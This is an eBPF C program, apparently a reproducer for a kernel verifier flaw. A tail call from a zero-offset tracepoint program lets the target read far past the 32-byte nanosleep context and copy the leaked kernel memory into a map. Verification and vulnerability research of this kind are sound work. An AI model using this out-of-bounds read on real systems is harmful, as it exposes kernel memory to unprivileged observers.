// SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 248 bytes it reads via `out`. * sys_enter_nanosleep tp buffer: 8B common + 8B nr + 2 args = 32 bytes; * indices >= 4 (byte offset >= 32) are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 32); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("tracepoint/syscalls/sys_enter_nanosleep") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("tracepoint/syscalls/sys_enter_nanosleep") int target(void *ctx) /* max_ctx_offset = 256 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 1; i < 100; i++) { __u64 v = a[i]; sink += v; if (i < 32) { __u32 k = i; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } } return 0; } char LICENSE[] SEC("license") = "GPL";